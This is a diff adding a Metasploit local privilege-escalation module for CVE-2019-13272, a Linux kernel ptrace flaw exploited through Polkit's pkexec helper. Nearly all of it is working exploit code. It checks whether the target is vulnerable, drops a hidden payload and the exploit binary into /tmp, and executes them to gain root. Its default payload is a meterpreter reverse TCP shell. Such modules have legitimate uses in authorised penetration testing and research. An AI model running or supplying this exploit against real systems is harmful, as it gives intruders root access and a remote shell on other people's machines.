Rooting: pkexec-POLKIT

rooting/polkit-pkexec.rb

@@ -0,0 +1,133 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Post::Linux::Priv
+  include Msf::Post::Linux::Kernel
+  include Msf::Post::Linux::System
+  include Msf::Post::Linux::Compile
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'          => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
+      'Description'   => %q{
+          This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
+          kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
+          not over an SSH session, as it requires execution from within the context of
+          a user with an active Polkit agent.
+          In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
+          the recording of the credentials of a process that wants to create a ptrace
+          relationship, which allows local users to obtain root access by leveraging
+          certain scenarios with a parent-child process relationship, where a parent drops
+          privileges and calls execve (potentially allowing control by an attacker). One
+          contributing factor is an object lifetime issue (which can also cause a panic).
+          Another contributing factor is incorrect marking of a ptrace relationship as
+          privileged, which is exploitable through (for example) Polkit's pkexec helper
+          with PTRACE_TRACEME.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [
+          'Jann Horn',    # Discovery and exploit
+          'bcoles',       # Metasploit module
+          'timwr',        # Metasploit module
+      ],
+      'References'     => [
+          ['CVE', '2019-13272'],
+          ['EDB', '47133'],
+          ['PACKETSTORM', '153663'],
+          ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
+          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
+      ],
+      'SessionTypes'   => [ 'shell', 'meterpreter' ],
+      'Platform'       => [ 'linux' ],
+      'Arch'           => [ ARCH_X64 ],
+      'Targets'        => [[ 'Auto', {} ]],
+      'DefaultOptions' =>
+        {
+          'Payload'     => 'linux/x64/meterpreter/reverse_tcp',
+          'PrependFork' => true,
+        },
+      'DisclosureDate' => 'Jul 4 2019'))
+    register_advanced_options [
+      OptBool.new('ForceExploit', [false, 'Override check result', false]),
+      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
+    ]
+  end
+
+  def check
+    # Introduced in 4.10, but also backported
+    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
+    release = kernel_release
+    v = Gem::Version.new release.split('-').first
+
+    if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
+      vprint_error "Kernel version #{release} is not vulnerable"
+      return CheckCode::Safe
+    end
+    vprint_good "Kernel version #{release} appears to be vulnerable"
+
+    unless command_exists? 'pkexec'
+      vprint_error 'pkexec is not installed'
+      return CheckCode::Safe
+    end
+    vprint_good 'pkexec is installed'
+
+    arch = kernel_hardware
+    unless arch.include? 'x86_64'
+      vprint_error "System architecture #{arch} is not supported"
+      return CheckCode::Safe
+    end
+    vprint_good "System architecture #{arch} is supported"
+
+    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
+    if loginctl_output =~ /Remote=yes/
+      print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
+      return CheckCode::Safe
+    end
+
+    CheckCode::Appears
+  end
+
+  def exploit
+    if is_root? && !datastore['ForceExploit']
+      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
+    end
+
+    unless check == CheckCode::Appears
+      unless datastore['ForceExploit']
+        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
+      end
+      print_warning 'Target does not appear to be vulnerable'
+    end
+
+    unless writable? datastore['WritableDir']
+      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
+    end
+
+    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
+    upload_and_chmodx(payload_file, generate_payload_exe)
+    register_file_for_cleanup(payload_file)
+
+    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
+    if live_compile?
+      vprint_status 'Live compiling exploit on system...'
+      upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
+    else
+      vprint_status 'Dropping pre-compiled exploit on system...'
+      upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
+    end
+    register_file_for_cleanup(exploit_file)
+
+    print_status("Executing exploit '#{exploit_file}'")
+    result = cmd_exec("echo #{payload_file} | #{exploit_file}")
+    print_status("Exploit result:\n#{result}")
+  end
+end
+